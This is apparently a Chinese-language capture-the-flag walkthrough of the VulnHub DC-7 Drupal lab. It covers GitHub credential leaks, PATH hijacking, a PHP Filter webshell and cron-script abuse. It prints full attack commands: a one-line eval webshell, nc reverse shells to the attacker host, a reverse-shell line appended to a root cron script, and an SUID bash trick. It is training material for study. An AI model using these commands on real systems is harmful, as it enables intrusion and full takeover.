VulnHub DC-7 靶机渗透测试中,如何找到并利用特定漏洞进行攻击?

摘要:VulnHub DC-7 靶机渗透测试笔记 靶机系列:DC Series | 难度:中等 | 核心漏洞:GitHub OSINT 信息泄露 + Drupal PHP Filter RCE + PATH 劫
VulnHub DC-7 靶机渗透测试笔记 靶机系列:DC Series | 难度:中等 | 核心漏洞:GitHub OSINT 信息泄露 + Drupal PHP Filter RCE + PATH 劫持提权 📋 目录 环境信息 信息收集 漏洞利用 权限提升 总结 🖥️ 环境信息 项目 信息 靶机地址 192.168.168.170 攻击机地址 192.168.168.128(Kali Linux) 目标 CMS Drupal 8 提权方式 PATH 劫持 / Drupal RCE + cron 🔍 信息收集 1. 主机发现 使用 nmap 进行主机存活探测: nmap -sn 192.168.168.0/24 2. 端口与服务扫描 对目标主机进行全端口详细扫描: nmap -A -p- 192.168.168.170 3. CMS 识别 cms是 💡 知识点:识别 CMS 类型是渗透测试的关键一步,常用方法包括查看页面源码、响应头的 X-Generator 字段、特定路径(如 /wp-login.php、/user/login)等。Drupal 的典型特征是 /user/login 登录页和 CHANGELOG.txt 文件。 4. 目录枚举 dirsearch -u http://192.168.168.170/ --exclude-status=404,403 不显示404、403状态码,过滤无效结果。 5. Drupal 版本探测 droopescan scan drupal -u http://192.168.168.170(版本问题没装成功) 找了一下,有点提示。 💡 知识点:droopescan 是专门针对 Drupal、WordPress 等 CMS 的扫描工具,可以识别插件版本、主题、用户名等信息。但此处版本信息对直接利用帮助有限。 🔑 漏洞利用 6. GitHub OSINT — 关键突破口 直接去 GitHub 上找,只有这一个: 🔗 https://github.com/Dc7User/staffdb 找对了! 配置文件泄露信息: $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; 之前爬目录看到登录界面: 但是密码不对(数据库凭据不能直接用于 Web 登录)。 💡 知识点:这是 GitHub OSINT(开源情报)的典型场景。开发者将含有数据库凭据的配置文件上传到公开仓库,造成敏感信息泄露。真实渗透中,通过 GitHub 搜索 org:目标公司 password、filename:.env、filename:config.php 等关键词,往往能找到高价值凭据。 🚪 立足点获取(SSH 登录) 尝试将泄露的凭据直接用于 SSH: ssh dc7user@192.168.168.170 # 密码:MdR3xOgB7#dW 登录成功! 🔺 权限提升 7. 基本信息枚举 查找 SUID 文件: find / -perm -u=s 2>/dev/null 查看 sudo 权限: sudo -l 该用户无权限。 查看用户目录: 目录下有两个文件: 全是邮件: 💡 关键线索:邮件中发现 root 通过 cron 定时执行脚本。 8. 分析 Cron 任务 Subject: Cron <root@dc-7> /opt/scripts/backups.sh root 定时执行 /opt/scripts/backups.sh 查看脚本权限: 权限 用户 rwx root rwx www-data r-x others ⚠️ 注意:www-data 组对该脚本有写权限(rwx),这是提权的关键! 查看脚本内容: #!/bin/bash rm /home/dc7user/backups/* cd /var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz 📌 路线一:PATH 劫持提权 drush 没有写完整路径,存在 PATH 劫持漏洞。 步骤如下: ① 创建恶意 drush: cd /tmp nano drush 写入: #!/bin/bash chmod +s /bin/bash ② 赋予执行权限: chmod 777 drush ③ 劫持 PATH: export PATH=/tmp:$PATH 现在 PATH 顺序变成: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 所以系统会先找 /tmp/drush,执行我们的恶意脚本。 ④ 等待 root cron 执行 有 SUID 权限后: find / -perm -u=s 2>/dev/null 执行 /bin/bash -p 即可获得 root shell。 💡 知识点:PATH 劫持是 Linux 提权的经典手法。当高权限进程(如 root cron)调用的命令不使用绝对路径时,攻击者可以在 PATH 靠前位置放置同名恶意文件来劫持执行流。防御方式是在脚本中使用命令的完整绝对路径(如 /usr/local/bin/drush)。 📌 路线二:Drupal 后台 RCE 还有一种方式,可以读取 Drupal 配置文件获取数据库凭据: cat /var/www/html/sites/default/settings.php $databases['default']['default'] = array ( 'database' => 'd7db', 'username' => 'db7user', 'password' => 'yNv3Po00', 'prefix' => '', 'host' => 'localhost', 'port' => '', 'namespace' => 'Drupal\\Core\\Database\\Driver\\mysql', 'driver' => 'mysql', ); 📦 数据库名:d7db 👤 用户名:db7user 🔑 密码:yNv3Po00 利用 drush 修改 admin 密码: /usr/local/bin/drush user-password admin --password="password123" --root=/var/www/html 登录后台: 可以看看数据库(虽然没用): mysql -u db7user -p'yNv3Po00' -D d7db SHOW DATABASES; USE d7db; SHOW TABLES; DESC users_field_data; SELECT uid, name, mail, pass FROM users_field_data; 试过了,哈希在网上解不出来。 返回看 Web 后台: 随便乱插,都被 HTML 实体编码了。 drush status 查看了下版本: 没有找到对应版本的利用脚本: 最后找到利用 PHP Filter 模块! 但 Drupal 8 默认不启用 PHP 代码解析功能: 手动安装 PHP Filter 模块: https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 添加成功,点击启用。 Content → Add content → Basic page 要把代码改成 PHP 解析模式: 可以正常执行,然后写木马连接: 写一句话木马: <?php eval($_POST["pass"]); 我用的是哥斯拉的 Webshell 进行连接管理。 💡 知识点:PHP Filter 模块允许在 Drupal 页面内容中直接执行 PHP 代码,是 Drupal 中非常危险的功能。Drupal 8+ 默认移除了该功能,需要手动安装并启用。一旦获得后台权限并能安装模块,即可实现任意代码执行(RCE)。 🎯 反弹 Shell & 最终提权 通过 nc 反弹 Shell 到 Kali: # 木马中执行 nc -e /bin/sh 192.168.168.128 5566 # Kali 监听 nc -lvnp 5566 反弹到 Kali! 升级为交互式终端: python -c 'import pty;pty.spawn("/bin/bash")' 换个终端,操作更方便。 写入计划任务反弹 root shell: 当前是 www-data 用户,对 /opt/scripts/backups.sh 有写权限,追加反弹命令: echo "nc 192.168.168.128 6655 -e /bin/bash" >> /opt/scripts/backups.sh 也是写计划任务弹 shell,然后 Kali 监听就好: nc -lvnp 6655 等 root cron 执行后,即可获得 root shell 🎉 📝 总结 完整攻击链 信息收集(nmap/dirsearch/droopescan) ↓ GitHub OSINT → 配置文件泄露 SSH 凭据 ↓ SSH 登录(dc7user) ↓ 发现 root cron 执行 backups.sh(www-data 可写) ↓ ┌─────────────────────┬──────────────────────────────┐ │ 路线一:PATH 劫持 │ 路线二:Drupal RCE │ │ /tmp 恶意 drush │ settings.php → drush 改密 │ │ → SUID /bin/bash │ → PHP Filter 模块 → 木马 │ │ │ → www-data Shell │ └─────────────────────┴──────────────────────────────┘ ↓(两条路线最终都写入 backups.sh) root cron 触发 → root Shell ✅ 🧠 核心知识点回顾 技术点 说明 🔎 GitHub OSINT 公开仓库中的配置文件、密钥、凭据泄露 🛤️ PATH 劫持 高权限进程调用无绝对路径命令时可被劫持 🐚 Drupal PHP Filter 后台模块安装 → PHP 代码执行 → RCE 📅 Cron 利用 www-data 可写 root cron 脚本 → 权限提升 🔧 drush Drupal 命令行管理工具,可直接修改用户密码 本文仅用于学习交流,请勿用于非法用途。